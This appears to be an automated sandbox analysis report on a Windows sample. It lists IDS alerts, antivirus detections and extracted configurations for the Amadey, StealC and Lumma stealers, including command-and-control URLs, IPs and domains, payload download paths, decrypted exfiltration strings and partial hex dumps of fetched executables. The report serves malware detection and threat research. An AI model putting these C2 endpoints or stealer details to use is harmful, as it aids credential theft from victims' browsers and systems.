Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:17.869425+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49906	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:22:10.164725+0100	2803305	3	Unknown Traffic	192.168.2.5	49910	31.41.244.11	80	TCP
2024-12-18T15:22:20.717892+0100	2803305	3	Unknown Traffic	192.168.2.5	49921	31.41.244.11	80	TCP
2024-12-18T15:22:29.455207+0100	2803305	3	Unknown Traffic	192.168.2.5	49924	31.41.244.11	80	TCP
2024-12-18T15:22:36.426808+0100	2803305	3	Unknown Traffic	192.168.2.5	49926	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:20:45.034530+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-18T15:21:12.273030+0100	2803304	3	Unknown Traffic	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:14.463621+0100	2803304	3	Unknown Traffic	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:15.846213+0100	2803304	3	Unknown Traffic	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:17.214411+0100	2803304	3	Unknown Traffic	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:22.751225+0100	2803304	3	Unknown Traffic	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:23.738887+0100	2803304	3	Unknown Traffic	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:30.761959+0100	2803304	3	Unknown Traffic	192.168.2.5	49817	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: random.exe.7.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/8047245472/Cq6Id6x.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpfox	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllIk	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/GS	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/cA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpc/	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/burpin1/random.exe#2	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllv&E-	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000010.00000002.2759867420.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["sustainskelet.lat", "crosshuaht.lat", "grannyejh.lat", "aspecteirs.lat", "discokeyus.lat", "energyaffai.lat", "lossekniyyt.click", "necklacebudi.lat", "rapeflowwj.lat"], "Build id": "9Z1cyc--"}
Source: random.exe.7.exe.6800.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: random.exe.7.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: random.exe.7.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: rapeflowwj.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: crosshuaht.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: sustainskelet.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: aspecteirs.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: energyaffai.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: necklacebudi.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: discokeyus.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: grannyejh.lat
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: lossekniyyt.click
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: Workgroup: -
Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack	String decryptor: 9Z1cyc--

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: random.exe.7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49741 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49928 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: random.exe.7.exe, 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: wkernel32.pdb source: 0ee5eba208.exe, 00000015.00000003.3180037310.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180115683.0000000005B10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187533463.0000000005230000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187380305.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3083027005.0000000005000000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 0ee5eba208.exe, 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 0ee5eba208.exe, 00000015.00000003.3179254214.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179415073.0000000005BE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186352969.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186117130.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3179837466.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179699302.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186988425.00000000052B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: ntdll.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3179254214.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179415073.0000000005BE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186352969.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186117130.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 0ee5eba208.exe, 00000015.00000003.3179837466.0000000005B90000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3179699302.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3186988425.00000000052B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: Cq6Id6x.exe, 00000012.00000002.3082497535.0000000004D80000.00000004.08000000.00040000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3073805466.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: mozglue.pdb source: random.exe.7.exe, 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3180037310.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180115683.0000000005B10000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187533463.0000000005230000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187380305.0000000005110000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 0ee5eba208.exe, 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49899 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49906
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49920 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49923 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49925 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:52977 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49927 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49928 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:63033 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49927 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49927 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49919 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49919 -> 104.21.12.88:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: lossekniyyt.click
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 18.0.Cq6Id6x.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.36c94e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:20:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:21:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 14:21:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 